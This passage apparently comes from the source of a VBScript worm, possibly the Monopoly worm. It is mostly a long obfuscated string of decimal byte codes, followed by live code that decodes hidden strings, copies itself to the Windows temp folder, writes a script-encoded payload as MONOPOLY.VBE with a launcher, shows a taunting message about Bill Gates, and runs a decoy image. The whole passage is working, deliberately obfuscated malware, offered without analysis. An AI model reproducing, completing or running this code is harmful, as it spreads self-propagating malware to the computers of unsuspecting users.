.135.12.78.100.198.15.14.234.212.247.21.69.218.42.88.218.89.155.27.118.146.8.55.52.107.197.148.100.211.94.111.179.247.88.115.244.5.70.146.52.144.105.161.225.87.204.75.196.227.133.116.84.121.22.86.188.139.121.190.211.221.97.254.65.72.207.21.180.130.88.99.179.48.203.30.8.110.165.78.114.123.56.226.171.118.215.62.14.235.123.196.72.144.1.130.140.172.119.63.30.103.143.42.198.16.109.154.238.45.97.73.244.245.48.0.72.151.112.116.27.142.57.103.20.182.169.20.81.5.49.198.169.148.124.237.24.207.163.78.206.239.36.186.91.200.114.198.57.73.63.192.82.186.199.201.79.161.39.244.215.12.223.235.164.122.248.87.255.0.51.97.162.127.118.46.191.120.62.234.179.209.156.36.23.50.55.32.70.127.128.168.218.31.247.98.235.247.131.238.171.90.40.217.162.221.63.47.149.246.83.255.0.177.210.191.133.175.104.247.94.133.110.172.162.189.139.142.208.14.127.194.106.29.157.177.187.187.142.17.251.71.143.195.182.173.244.126.117.184.180.150.202.94.59.71.0.123.84.214.122.61.129.178.123.153.167.24.216.74.169.62.161.219.88.227.169.166.60.114.60.81.148.31.43.130.170.73.18.201.228.201.242.149.1.199.168.84.13.14.47.247.204.249.31.32.55.219.91.116.107.163.117.172.92.200.73.195.175.163.240.205.99.167.56.139.164.87.8.120.110.44.62.195.91.119.76.69.7.5.40.250.38.234.178.25.53.41.201.60.155.104.248.14.20.157.61.172.194.97.212.166.4.96.49.220.62.6.145.168.203.147.208.199.90.21.21.58.61.33.77.72.47.99.169.6.156.68.9.210.147.142.220.159.170.149.232.228.38.75.243.38.56.70.188.79.121.166.34.144.73.210.130.71.102.87.192.85.35.194.57.50.255.0.36.171.232.164.183.202.117.41.172.165.198.8.5.59.248.113.21.207.106.214.6.198.239.209.31.154.115.148.238.238.173.154.227.178.107.14.202.112.195.105.4.118.85.136.154.45.111.76.40.248.18.142.7.252.45.235.173.125.205.161.35.120.82.154.225.242.41.210.24.213.244.171.109.202.173.203.152.238.164.117.45.23.79.135.72.138.117.128.44.172.7.164.24.250.170.151.72.80.166.155.2.55.48.192.31.10.195.80.255.0.104.232.176.145.120.152.227.7.195.129.166.222.218.18.150.136.183.246.206.115.161.208.44.250.180.200.232.29.58.134.4.31.136.171.241.217.93.136.229.181.50.35.93.4.222.169.179.208.10.78.0.221.218.106.47.66.46.96.131.80.184.89.156.35.73.30.19.60.1.193.201.174.138.77.86.222.43.61.70.242.218.236.220.16.118.170.246.43.99.0.14.236.241.167.163.146.218.123.8.24.20.216.234.51.46.54.7.72.144.142.221.131.137.241.38.168.65.3.220.244.109.34.136.2.236.188.6.113.219.90.110.33.54.61.24.138.7.254.209.128.221.222.196.228.214.251.107.135.181.232.234.77.24.27.149.120.103.151.58.77.181.29.49.213.211.85.246.105.210.116.137.109.110.60.166.236.170.136.193.42.160.231.248.214.157.49.214.239.95.146.97.203.210.101.251.5.39.119.171.221.93.198.99.118.10.135.152.81.140.214.122.4.130.61.77.1.228.224.173.77.53.105.35.170.80.158.153.78.124.209.134.184.237.46.169.46.9.86.66.2.55.178.71.17.245.210.15.48.154.230.71.68.104.247.0.100.7.151.89.218.71.113.170.58.244.38.61.77.206.14.36.1.129.169.213.146.109.54.138.99.132.90.140.209.67.67.144.199.170.69.131.242.242.167.191.135.253.169.235.148.9.210.120.241.251.68.19.225.74.104.48.180.154.146.55.100.96.146.126.170.106.121.4.157.39.76.126.203.5.250.171.87.237.68.178.127.43.175.161.126.145.254.178.255.0.227.31.125.74.170.189.35.253.103.255.0.176.125.245.42.146.127.185.157.24.63.141.13.105.183.141.101.118.146.126.207.39.30.177.93.106.219.66.247.75.122.184.220.99.198.125.99.215.92.71.198.186.116.145.236.122.58.25.201.222.83.11.158.204.242.170.99.127.103.55.202.133.180.215.47.98.14.163.63.148.223.77.40.57.27.136.95.128.229.91.250.69.250.12.127.229.71.221.83.255.0.102.168.116.139.244.40.255.0.202.138.49.238.219.51.229.173.48.72.157.103.250.28.95.70.173.233.87.62.79.164.216.14.215.36.31.68.156.140.158.88.168.150.127.161.197.244.105.216.93.23.75.211.75.144.48.24.243.198.120.158.3.129.171.99.229.159.57.21.110.95.244.217.20.146.90.27.169.45.89.84.153.112.119.122.91.185.241.193.193.171.214.204.207.111.27.185.203.50.130.78.49.245.87.63.50.44.105.112.14.92.188.128.144.172.24.227.143.174.186.11.98.77.188.101.151.105.42.56.85.208.79.131.217.165.16.194.210.48.36.40.201.10.56.212.14.144.92.45.214.159.111.34.6.85.50.17.134.24.60.5.89.212.25.82.202.82.229.66.227.4.179.21.30.34.160.106.172.143.166.66.99.117.117.51.49.5.88.176.173.79.115.32.188.150.108.173.33.154.198.206.73.98.87.117.137.112.196.114.225.84.56.246.212.107.13.42.57.108.109.220.207.114.11.70.9.11.41.3.149.35.107.61.132.211.201.4.247.55.118.242.163.17.233.206.112.192.122.141.99.116.198.209.168.233.248.231.149.72.184.180.146.210.218.87.23.76.119.0.163.127.36.25.236.197.47.102.186.109.244.141.21.189.245.219.58.241.193.149.134.71.172.87.173.14.158.76.177.197.125.60.210.198.187.138.117.231.142.43.46.193.71.75.53.203.184.201.165.238.109.196.36.163.119.30.202.91.88.249.41.244.36.254.154.218.150.209.78.98.119.73.152.238.32.48.187.206.56.241.199.125.104.213.109.237.97.69.123.75.135.155.209.144.54.100.223.143.71.234.174.105.98.111.34.153.221.143.60.99.139.166.101.161.255.0.118.110.191.120.62.234.181.103.232.116.102.70.245.171.125.181.23.67.201.232.205.214.6.127.56.62.234.216.47.231.22.38.211.104.49.17.142.92.105.100.233.158.150.56.185.194.151.217.134.159.114.109.47.35.151.39.0.225.135.172.26.232.58.65.120.35.178.17.198.125.41.187.71.170.185.124.30.208.124.43.100.211.75.62.206.179.39.98.237.94.29.148.145.147.73.163.166.120.163.60.138.127.67.253.30.59.117.53.239.67.88.234.82.53.174.182.242.167.53.96.223.26.82.214.121.45.46.22.100.92.178.231.25.28.43.203.169.229.186.157.165.148.101.155.212.40.190.218.55.71.234.185.120.163.165.189.180.139.88.180.73.161.96.178.1.232.183.220.106.50.104.119.198.77.166.53.3.218.221.194.180.216.234.23.22.45.249.160.74.30.104.71.10.168.221.36.109.152.91.98.27.179.143.10.126.217.110.206.122.205.139.182.27.161.189.144.232.122.107.97.131.72.123.125.166.168.218.35.51.234.232.205.197.142.226.105.107.203.185.239.101.223.54.79.168.1.192.86.54.179.201.105.58.205.26.229.148.96.100.82.185.91.95.69.35.137.168.74.222.236.111.94.253.107.47.193.126.202.209.166.222.181.141.202.200.56.161.224.227.186.181.92.207.45.212.237.52.163.210.62.161.90.176.125.71.194.149.190.235.69.99.5.211.80.145.210.116.138.69.151.79.133.208.229.89.193.7.248.82.253.31.186.71.142.75.25.240.85.243.180.30.208.121.138.150.110.100.123.33.108.202.196.43.238.83.234.238.173.11.185.88.50.238.4.28.130.56.17.77.171.186.201.44.11.164.241.182.123.170.244.66.238.27.130.214.3.174.133.142.64.206.25.123.169.190.143.244.90.120.167.91.141.71.10.136.114.34.206.119.17.203.52.237.183.72.103.141.2.207.23.88.71.237.14.6.176.188.215.110.39.66.145.70.98.83.204.243.38.171.173.81.196.190.54.75.163.206.144.94.139.139.149.134.51.148.139.153.245.154.108.255.0.117.135.209.251.235.158.193.245.31.10.109.175.238.13.144.180.0.8.128.199.201.226.106.74.91.182.206.233.98.168.198.49.240.196.235.56.165.104.101.73.20.225.148.130.43.28.31.81.240.163.7.212.106.123.157.46.158.199.85.115.111.14.181.98.146.35.5.113.197.79.168.250.141.70.243.29.241.147.111.86.184.207.202.207.10.94.202.246.226.198.66.208.231.105.230.164.112.53.91.242.145.182.254.140.119.124.120.85.123.101.187.56.180.229.197.180.55.67.144.65.14.137.167.187.185.12.228.101.143.180.125.85.7.77.118.151.88.137.220.229.154.76.159.227.90.239.111.110.47.164.221.54.112.62.74.129.192.86.187.105.158.222.116.153.19.37.14.64.34.177.202.218.75.130.144.196.212.91.147.221.151.181.125.34.226.246.243.173.137.163.11.180.15.72.246.241.169.211.232.119.80.66.210.49.66.170.50.72.60.171.127.229.29.215.204.39.129.173.119.26.237.205.196.47.19.66.170.28.96.144.13.108.180.61.201.227.235.198.150.212.79.179.132.220.221.69.16.228.205.199.225.204.213.142.146.206.0.134.217.15.1.233.16.62.175.190.165.89.221.75.101.55.91.18.13.216.219.233.2.120.86.55.115.201.119.59.77.34.250.77.142.67.150.41.19.168.209.121.67.86.69.39.194.52.118.26.161.210.47.208.163.255.0.42.42.123.2.65.192.62.21.67.164.95.161.70.15.186.138.124.92.144.249.143.180.151.105.34.11.72.129.117.7.111.105.171.58.72.130.77.54.205.218.240.68.241.3.232.135.81.156.158.220.215.186.108.26.106.105.118.109.115.20.2.73.35.200.44.188.73.167.228.211.108.68.108.203.105.15.201.36.16.130.186.99.10.220.249.205.162.218.39.52.109.52.114.32.154.8.114.219.131.60.161.129.193.61.149.90.43.155.116.137.16.220.65.144.0.225.32.197.114.26.53.233.184.185.75.121.44.45.174.55.31.148.84.41.31.198.154.212.181.27.59.43.193.7.154.99.64.173.233.179.160.201.29.212.202.69.101.137.189.142.153.174.109.88.21.121.224.96.121.130.224.131.81.186.71.36.13.107.2.192.241.16.28.250.40.195.135.14.234.215.162.93.88.106.151.18.194.116.232.99.101.27.148.133.206.71.125.123.210.59.59.107.107.120.76.48.71.25.46.65.218.184.207.10.100.236.158.149.23.76.217.133.49.216.7.119.25.133.48.22.114.156.125.100.84.125.86.239.80.154.254.242.41.97.14.137.187.209.40.8.85.236.108.215.65.5.155.79.111.167.72.37.10.4.106.49.176.31.174.162.234.125.33.184.121.239.45.12.73.212.225.163.0.115.28.121.230.150.69.113.221.236.77.208.236.214.255.0.80.16.59.186.6.86.244.144.224.242.171.54.221.29.159.78.184.146.118.150.57.35.68.59.121.130.115.195.143.215.92.254.159.125.38.157.115.215.196.1.112.164.12.246.102.170.233.122.197.245.229.211.193.60.251.210.68.110.5.71.3.140.228.82.166.138.77.75.199.5.88.186.168.197.186.197.34.72.187.142.211.24.85.0.228.122.198.126.202.66.252.151.137.153.159.123.18.225.155.10.50.118.255.0.134.159.16.134.146.192.185.14.204.236.120.168.192.237.229.252.41.93.86.19.4.11.150.13.184.200.120.2.49.232.247.147.76.248.35.30.73.253.30.214.31.78.149.162.1.89.36.236.110.89.174.155.207.115.251.172.94.38.190.125.154.203.172.127.105.188.106.84.119.107.145.223.249.238.111.117.139.196.209.231.185.253.214.47.19.95.63.235.31.219.111.26.58.199.246.155.198.138.13.114.244.125.3.207.115.251.172.94.38.143.61.207.238.177.120.154.249.255.0.88.254.211.120.209.214.63.180.222.52.80.107.151.163.232.30.123.159.221.98.241.52.121.238.127.117.139.196.215.207.250.199.246.155.198.142.177.253.182.241.162.131.92.189.31.64.243.220.254.235.23.137.163.207.115.251.172.94.38.190.127.214.63.182.222.52.117.143.237.183.141.20.26.229.232.250.7.158.231.247.88.188.77.30.123.159.221.98.241.53.243.254.177.253.182.241.163.172.127.105.188.104.160.215.47.71.208.60.247.63.186.197.226.104.243.220.254.235.23.137.175.159.245.143.237.55.141.29.99.251.77.227.69.6.185.122.62.129.231.185.253.214.47.19.71.158.231.247.88.188.77.124.255.0.172.127.105.188.104.235.31.219.111.26.40.53.203.209.244.15.61.207.238.177.120.154.60.247.63.186.197.226.107.231.253.99.251.109.227.71.88.254.211.120.209.65.174.94.143.160.121.238.127.117.139.196.209.231.185.253.214.47.19.95.63.235.31.218.111.26.58.199.246.219.198.138.13.114.244.125.3.207.115.123.172.94.38.143.61.207.238.177.120.154.249.255.0.88.254.219.120.209.214.63.180.222.52.80.107.151.163.232.30.123.159.221.98.241.52.121.238.127.117.139.196.215.207.250.199.246.155.198.142.177.253.182.241.162.131.92.189.31.64.243.220.254.235.23.137.163.207.115.251.172.94.38.190.127.214.63.182.222.52.117.143.237.55.141.20.26.229.232.250.7.158.230.247.88.188.77.30.123.155.221.98.241.53.243.254.177.253.166.241.163.172.127.109.188.104.160.215.47.71.208.60.247.63.186.69.245.212.61.122.253.164.141.204.164.117.178.0.2.142.193.92.231.88.254.211.120.215.132.150.60.73.63.26.218.49.202.79.147.179.15.34.104.186.105.141.153.125.15.217.35.143.117.53.165.140.223.220.134.145.216.40.32.43.18.120.19.74.172.125.118.141.166.167.163.142.168.183.17.156.16.51.86.18.217.213.140.237.49.37.144.128.161.64.3.183.61.245.84.121.242.106.232.78.13.34.218.36.149.44.238.29.17.155.50.42.176.56.238.7.178.180.237.177.158.222.214.75.209.36.146.195.156.59.30.36.103.128.39.182.185.93.51.174.243.134.34.184.120.152.147.150.94.218.223.170.93.186.95.180.68.6.138.62.27.15.35.225.83.111.232.234.140.90.229.217.211.68.116.200.26.72.161.128.199.214.252.178.135.137.20.158.187.31.85.167.194.152.219.137.155.134.115.138.215.166.90.91.106.86.210.60.113.189.188.163.138.184.114.219.113.89.107.12.207.165.90.187.182.75.57.63.14.20.240.228.148.235.193.255.217."))
A2.Close
If ScriptEngineMajorVersion > 4 Then
A1.CopyFile WScript.ScriptFullName,A1.BuildPath(A1.GetSpecialFolder(2),B("77.79.78.79.80.79.76.89.46.86.66.83."))
Set A3 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(2),B("77.79.78.79.80.79.76.89.46.87.83.72.")),True)
A3.Write(B("91.83.99.114.105.112.116.70.105.108.101.93.") & Chr(13) & Chr(10) & B("80.97.116.104.61.") & A1.BuildPath(A1.GetSpecialFolder(2),B("77.79.78.79.80.79.76.89.46.86.66.69.")) & Chr(13) & Chr(10))
A3.Close
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(2),B("77.79.78.79.80.79.76.89.46.86.66.69.")),True)
A4.Write(B("35.64.126.94.52.119.52.65.65.65.61.61.54.9.80.51.77.68.75.68.80.34.43.107.59.58.127.80.72.43.88.89.64.35.64.38.85.43.89.44.41.70.44.39.80.59.46.110.108.68.43.125.52.37.43.94.79.118.74.9.63.49.46.107.97.89.32.106.52.43.86.115.69.42.64.35.64.38.98.121.126.123.80.41.56.82.34.43.111.34.43.109.91.96.114.67.70.50.73.123.74.54.59.98.83.124.92.98.59.67.113.103.51.119.63.75.48.68.104.67.68.110.119.125.106.80.83.125.54.124.99.72.71.85.75.119.87.115.122.39.74.98.64.35.64.38.40.54.80.41.121.80.64.33.64.42.80.114.75.77.59.43.114.80.80.116.127.120.64.35.64.38.85.43.89.44.41.38.44.39.80.59.46.110.108.68.43.125.52.37.43.94.79.118.74.54.69.68.115.87.75.51.32.41.97.119.86.114.94.109.89.114.87.9.69.42.64.35.64.38.85.43.68.80.98.87.80.123.126.98.50.82.33.43.68.49.67.104.127.63.119.109.94.43.118.74.72.122.75.40.74.42.64.35.64.38.115.71.68.126.51.109.109.52.80.122.88.80.38.120.126.41.87.82.98.91.91.77.43.100.47.100.114.107.89.100.64.35.64.38.38.48.80.122.42.99.41.78.57.68.110.47.107.50.85.79.77.107.43.107.32.90.75.69.120.68.126.64.33.64.42.44.33.44.75.52.43.85.64.35.64.38.63.110.89.44.41.118.44.39.126.41.50.82.90.46.110.109.89.110.113.68.110.115.96.84.42.64.35.64.38.115.87.77.80.122.123.80.123.80.113.80.58.87.126.41.108.82.98.57.91.68.127.47.47.65.85.79.68.98.43.107.82.47.87.59.85.68.64.35.64.38.63.127.79.80.122.37.126.120.44.98.42.32.41.57.78.46.43.107.100.65.120.79.77.107.127.47.96.122.71.42.64.35.64.38.38.48.126.98.70.80.120.126.56.80.75.52.110.120.64.35.64.38.98.43.32.36.90.59.80.123.80.41.37.32.41.57.78.46.43.107.100.64.35.64.38.50.115.100.127.64.35.64.38.41.127.99.65.47.90.44.120.44.98.127.99.65.59.90.80.76.80.114.73.80.114.80.39.80.122.37.32.41.57.78.68.127.100.47.64.35.64.38.50.9.91.126.113.54.64.35.64.38.49.110.54.79.64.35.64.38.98.127.82.85.59.52.78.43.94.79.44.39.80.69.36.98.86.115.80.86.67.68.43.100.44.76.75.51.43.114.64.35.64.38.41.118.99.65.71.78.72.80.120.126.114.65.107.94.115.80.86.108.89.127.100.126.107.107.80.84.69.114.86.79.122.44.87.87.80.115.71.120.75.119.71.115.72.82.80.117.110.77.43.126.107.107.126.68.116.110.44.119.77.87.87.54.82.44.108.79.42.74.64.35.64.38.85.43.79.126.122.44.80.123.126.90.77.43.108.68.110.54.52.78.43.49.89.99.74.106.94.77.107.50.89.98.85.111.99.115.114.115.127.63.88.100.79.127.58.54.52.78.110.49.89.69.42.64.35.64.38.98.118.99.98.68.79.108.49.116.104.43.9.89.100.32.122.78.78.44.41.44.99.65.69.98.115.91.110.109.89.52.96.41.44.32.33.127.89.106.119.127.94.107.109.86.111.71.94.78.43.46.99.121.35.83.74.116.54.103.114.75.125.83.73.82.46.126.63.114.98.64.35.64.38.98.127.82.71.43.115.110.68.43.98.54.79.43.77.63.69.40.104.114.89.44.39.44.75.46.69.110.64.35.64.38.98.127.82.85.110.120.57.64.35.64.38.51.9.78.80.40.87.64.35.64.38.72.43.88.79.64.35.64.38.106.127.89.44.98.70.90.80.123.126.98.50.82.47.68.127.108.79.110.38.89.43.115.99.33.42.64.35.64.38.122.113.84.82.126.90.59.80.120.80.69.104.75.120.71.119.75.115.88.64.36.58.114.97.115.108.107.115.32.49.87.104.105.44.104.75.120.50.75.87.94.88.64.36.68.43.94.110.52.75.89.32.109.75.58.73.126.115.87.87.97.71.120.94.88.64.36.49.114.59.78.109.78.99.109.71.58.32.67.77.105.126.58.94.71.119.75.120.71.122.64.36.69.47.67.32.9.43.79.105.44.122.94.87.50.75.120.75.58.64.36.84.120.83.104.108.98.86.32.109.75.58.69.64.35.64.38.98.70.56.126.39.44.98.70.99.93.110.111.34.43.109.78.99.74.117.70.65.53.109.83.125.47.98.100.123.92.41.59.67.113.72.51.39.63.71.48.68.65.109.68.110.39.72.98.109.68.75.47.75.87.89.39.127.114.120.57.87.65.100.39.90.69.77.46.43.9.89.46.127.46.100.107.75.120.39.73.110.111.114.100.68.43.46.43.57.54.104.9.43.46.69.42.64.35.64.38.41.113.90.82.106.69.40.37.127.109.79.44.39.44.74.114.96.75.100.54.114.110.82.92.87.9.87.50.71.94.88.80.49.71.58.98.120.111.44.87.46.87.115.80.114.74.69.80.39.126.122.70.113.80.76.126.74.114.74.69.64.35.64.38.98.70.43.126.123.80.69.79.44.40.9.48.71.77.58.109.89.107.75.120.114.126.91.44.90.52.68.118.70.102.98.44.91.80.59.52.68.118.70.33.42.126.39.80.59.116.77.96.113.38.98.126.76.80.47.116.77.99.70.90.35.126.39.44.74.75.114.104.127.41.126.74.114.69.64.35.64.38.41.56.32.44.39.80.122.70.121.126.91.44.75.114.58.127.64.35.64.38.41.56.32.80.123.126.98.56.32.80.76.126.69.74.114.74.44.91.126.90.52.46.118.70.102.35.44.39.80.59.116.46.99.56.33.35.126.39.44.74.57.108.68.110.61.80.69.114.74.64.35.64.38.98.56.32.44.120.80.122.70.43.80.76.80.57.67.68.43.64.35.64.38.41.70.121.80.39.44.41.113.32.44.91.44.74.69.74.69.126.76.80.47.116.77.99.70.50.35.126.39.44.90.116.46.99.56.33.98.80.76.126.114.49.67.115.43.61.80.74.114.74.44.39.80.122.70.113.80.76.80.69.69.114.74.80.76.126.90.52.68.96.56.102.98.80.76.80.59.116.46.96.113.84.42.80.39.80.114.54.68.84.108.85.114.46.108.89.114.71.9.41.126.74.114.69.64.35.64.38.41.56.32.44.39.80.122.70.121.126.91.44.98.113.82.34.43.76.93.127.108.78.118.69.67.110.50.53.124.74.54.90.122.83.124.72.41.90.117.40.103.50.119.63.75.87.89.83.108.46.110.39.72.107.94.46.75.47.71.48.68.119.113.107.85.57.87.83.47.45.59.69.77.46.43.9.89.35.43.77.47.114.71.9.45.73.127.76.107.107.89.43.77.110.91.114.77.111.109.120.114.121.67.79.98.87.85.74.42.64.35.64.38.122.70.43.126.123.80.98.113.43.44.91.126.74.114.69.114.80.39.44.90.52.68.96.56.38.42.126.91.44.90.52.68.118.70.84.98.44.91.80.114.72.43.68.104.87.77.86.126.109.75.58.97.69.79.43.46.126.9.108.104.43.61.126.74.114.74.64.35.64.38.85.43.89.126.41.56.38.126.39.44.47.77.43.67.68.43.75.52.76.127.109.68.99.74.113.63.94.68.98.119.79.32.103.43.89.83.71.68.48.74.35.64.35.64.38.41.70.121.80.123.80.41.70.43.126.76.80.41.70.50.32.90.75.58.50.59.68.43.68.72.67.115.43.64.35.64.38.122.113.121.80.120.44.98.56.32.80.76.80.114.69.74.114.80.39.80.59.116.46.99.56.38.35.44.39.80.59.116.68.118.113.84.35.44.91.44.74.57.46.57.126.77.43.76.107.75.85.41.44.74.69.69.64.35.64.38.98.113.43.44.39.126.98.56.43.44.91.126.122.70.99.73.43.84.73.127.67.78.118.74.117.124.65.53.109.74.125.90.98.100.109.72.122.90.67.38.72.51.45.85.87.54.89.65.108.46.110.39.72.114.109.77.71.47.75.48.79.119.113.107.120.91.71.83.47.119.90.33.46.77.43.85.68.46.127.68.47.98.87.9.119.102.106.102.109.73.127.111.114.71.9.74.35.64.35.64.38.98.56.32.80.123.126.41.70.121.80.76.80.69.74.69.69.44.91.126.90.52.46.96.56.38.98.126.76.80.90.52.46.118.70.84.35.44.39.44.74.47.75.69.9.89.68.72.80.49.71.78.127.80.99.48.98.68.100.79.44.86.87.49.67.89.98.87.120.42.108.126.74.114.74.64.35.64.38.41.70.43.126.123.80.41.70.121.126.91.44.98.113.32.34.43.111.93.110.109.78.99.74.95.70.65.53.109.100.114.59.98.83.124.72.122.47.67.38.49.51.45.85.87.87.79.83.108.68.127.119.72.98.109.68.75.100.71.48.68.45.113.107.85.78.71.65.107.45.47.69.77.46.43.9.89.35.110.77.47.107.71.85.39.75.110.86.127.50.52.87.85.72.45.100.87.109.109.89.98.71.120.107.45.74.87.49.108.79.114.75.120.33.39.47.87.33.120.89.77.122.69.35.64.35.64.38.122.70.43.80.120.126.122.70.43.80.76.126.74.114.74.69.126.76.80.90.52.46.118.70.102.35.44.39.44.90.52.77.96.56.33.35.44.91.44.69.98.77.43.67.80.49.87.91.110.44.96.48.98.46.47.68.80.86.75.94.67.89.98.87.9.35.108.80.69.69.114.64.35.64.38.98.56.43.80.123.80.41.113.121.80.91.126.41.56.82.93.43.84.93.127.108.91.118.74.95.124.50.73.123.100.54.90.122.83.109.72.122.90.117.40.103.50.45.85.71.48.68.104.108.77.110.119.72.98.109.77.87.100.87.87.79.39.127.114.120.57.71.104.107.45.47.59.77.68.43.85.79.106.43.46.47.98.71.9.45.80.127.86.127.119.116.75.120.72.119.83.75.109.67.89.98.87.85.100.39.83.87.49.67.89.98.87.120.90.119.41.68.127.108.59.87.91.43.69.98.64.35.64.38.41.70.121.126.39.44.98.113.43.44.91.80.69.69.114.74.126.91.44.47.52.68.99.56.38.42.80.91.44.90.52.46.96.56.33.98.80.76.80.69.74.109.120.111.33.67.111.127.41.80.114.69.69.64.35.64.38.98.56.32.126.39.126.41.56.32.126.91.44.41.70.99.73.110.76.34.43.108.91.99.114.67.70.50.73.109.59.106.93.34.50.103.75.123.96.63.65.93.45.85.87.87.89.83.108.46.110.39.72.107.49.46.87.107.87.48.68.119.40.120.68.43.77.120.110.89.126.51.88.119.115.87.77.110.68.39.113.85.79.127.68.120.67.79.98.87.85.108.94.119.122.109.94.127.119.68.83.108.9.111.33.67.111.127.74.98.64.35.64.38.98.113.43.44.39.80.122.113.32.44.91.80.114.69.69.74.44.91.44.90.52.68.99.113.50.35.126.91.44.47.116.77.96.113.84.42.80.91.126.69.113.107.85.78.75.65.107.80.45.127.68.107.107.87.9.41.44.69.74.114.64.35.64.38.98.56.32.126.120.44.98.70.121.126.91.44.98.70.99.93.110.111.34.43.109.78.99.74.117.70.65.53.109.83.125.47.98.100.123.92.41.59.67.113.72.51.39.63.71.48.68.65.109.68.110.39.72.98.109.68.75.47.75.87.89.39.127.114.120.57.87.65.100.39.90.69.77.46.43.9.89.46.127.46.100.107.75.120.39.46.110.68.100.114.75.120.69.35.64.35.64.38.98.56.32.126.120.44.98.70.43.126.76.80.69.74.114.69.44.91.126.59.116.77.96.70.50.35.44.39.80.59.116.46.96.56.33.98.126.76.80.74.113.114.120.57.87.104.107.126.45.43.77.47.98.87.85.80.85.59.115.52.110.68.61.126.74.114.74.64.35.64.38.122.70.32.126.120.44.98.113.32.44.39.44.98.113.99.73.127.111.73.127.108.57.99.74.95.124.51.53.124.83.54.47.122.83.123.116.41.90.95.113.49.65.119.106.87.54.89.83.108.46.43.119.92.98.109.46.87.107.71.48.68.45.9.114.9.78.87.65.100.39.90.59.68.77.110.9.89.35.127.68.107.107.87.9.45.106.110.68.107.107.71.120.103.69.104.56.127.68.74.42.64.35.64.38.122.70.32.44.120.126.98.56.32.44.91.126.74.69.69.114.80.39.80.59.52.68.118.70.102.98.44.91.80.47.52.77.96.113.33.42.126.76.80.69.38.120.68.43.68.9.43.68.126.50.88.119.115.87.77.43.46.126.107.89.108.77.79.80.97.108.111.127.108.126.74.114.74.64.35.64.38.41.70.43.126.123.80.41.70.121.126.91.44.98.113.32.34.43.111.93.110.109.78.99.74.95.70.65.53.109.59.106.34.73.50.103.75.124.105.63.65.73.119.63.75.48.79.65.109.68.43.39.92.107.49.68.87.107.71.87.89.39.113.9.89.110.68.85.110.68.80.51.54.97.115.87.77.43.46.119.116.108.107.85.119.85.89.67.68.68.126.104.108.76.127.74.42.64.35.64.38.122.70.121.126.39.44.98.113.32.44.91.126.69.114.74.74.64.35.64.38.98.56.99.80.123.126.69.79.44.98.57.78.46.43.100.100.44.52.71.87.48.69.80.76.80.47.52.77.96.70.102.98.44.91.126.90.52.46.118.70.84.42.64.35.64.38.115.87.77.80.65.67.109.52.80.41.42.44.113.85.126.122.99.82.122.91.78.77.43.47.107.74.114.47.68.47.64.35.64.38.40.48.126.41.108.82.41.78.57.46.43.107.47.51.85.68.68.107.110.100.99.90.71.69.9.79.44.64.33.64.42.44.33.44.75.116.127.120.64.35.64.38.115.75.68.126.98.70.80.120.126.56.80.75.75.126.98.108.82.98.57.91.46.43.107.47.65.120.79.68.114.110.107.82.47.87.33.85.89.64.35.64.38.106.110.68.80.98.48.126.123.80.41.42.99.41.57.78.46.127.47.107.50.120.68.68.98.110.47.118.98.123.35.64.35.64.38.41.113.87.80.39.44.41.70.87.80.91.44.47.52.68.118.70.50.35.126.91.126.47.52.68.99.70.90.98.80.76.80.69.72.109.58.43.108.126.114.74.69.80.76.126.122.37.32.103.108.115.43.80.76.80.114.69.74.66.80.67.78.57.68.110.100.107.41.80.114.69.74.44.91.80.122.48.32.98.57.78.77.43.100.47.126.39.44.74.69.74.114.64.35.64.38.103.43.97.79.64.35.64.38.50.85.91.44.113.87.64.35.64.38.72.127.54.79.64.35.64.38.122.70.33.99.65.75.91.88.44.39.126.98.56.32.126.39.44.90.116.77.99.70.50.35.80.76.126.47.116.77.96.56.33.98.80.39.126.59.116.46.96.56.102.35.44.91.126.47.52.68.96.113.84.42.80.39.80.122.113.87.64.35.64.38.122.70.108.80.39.44.98.56.32.73.127.111.93.43.109.78.99.69.95.124.50.73.109.83.125.90.98.100.109.92.98.59.67.38.49.51.45.106.71.54.89.65.108.77.110.45.116.107.94.46.75.47.87.87.79.39.127.114.120.57.71.83.47.119.59.69.77.68.43.9.89.106.110.68.107.107.71.120.39.110.46.71.84.68.108.115.111.107.94.43.47.71.114.46.74.42.64.35.64.38.113.87.80.41.49.99.115.71.86.57.110.68.65.54.114.100.68.47.96.41.49.99.65.59.107.94.91.104.108.79.52.96.122.70.42.66.74.38.47.112.39.106.40.49.114.35.98.126.123.80.75.77.59.43.44.75.116.127.85.64.35.64.38.119.87.77.80.51.108.94.52.44.98.113.118.44.40.120.44.98.49.32.86.43.89.111.71.94.78.110.68.118.41.79.82.36.33.107.94.78.110.109.89.52.99.98.56.42.83.74.38.90.125.119.96.113.49.114.98.35.99.115.107.94.110.100.64.35.64.38.113.54.80.105.90.67.100.127.96.41.44.99.33.43.68.50.97.79.127.120.47.114.71.9.49.67.58.127.99.122.70.127.99.49.109.58.43.42.35.44.120.80.114.106.40.49.114.80.80.52.127.120.64.35.64.38.41.70.90.82.98.68.79.67.109.52.58.127.120.79.47.32.41.57.78.126.98.56.127.82.104.108.79.52.64.35.64.38.50.85.91.44.113.87.64.35.64.38.72.127.54.79.64.35.64.38.65.120.78.44.113.54.64.35.64.38.122.70.84.82.71.43.115.110.68.43.98.54.79.43.77.63.69.40.104.114.89.44.39.44.75.46.69.110.64.35.64.38.98.113.33.99.106.43.9.78.64.35.64.38.122.70.82.93.110.84.127.46.107.68.110.44.74.117.110.50.73.123.83.125.90.122.74.123.116.98.47.67.38.49.51.119.85.87.48.68.65.108.77.43.45.125.105.80.83.125.114.110.82.92.87.85.71.97.87.115.88.39.69.126.114.75.46.59.127.74.64.35.64.38.51.9.78.126.113.54.64.35.64.38.74.105.48.69.65.65.61.61.94.35.126.64.0."))
A4.Close
End If
MsgBox B("66.105.108.108.32.71.97.116.101.115.32.105.115.32.103.117.105.108.116.121.32.111.102.32.109.111.110.111.112.111.108.121.46.32.72.101.114.101.32.105.115.32.116.104.101.32.112.114.111.111.102.46."),0,""
Set A5 = WScript.CreateObject(B("87.83.99.114.105.112.116.46.83.104.101.108.108."))
A5.Run(A1.BuildPath(A1.GetSpecialFolder(2),B("77.79.78.79.80.79.76.89.46.74.80.71.")))
If ScriptEngineMajorVersion > 4 Then
A5.Run(A1.BuildPath(A1.GetSpecialFolder(2),B("77.79.78.79.80.79.76.89.46.87.83.72.")))
End If
Function B(B1)
For B2 = 1 To Len(B1)
If InStr(B1,".") <> 0 Then
B = B & Chr(Left(B1,InStr(B1,".") - 1))
B1 = Mid(B1,InStr(B1,".") + 1)
End If
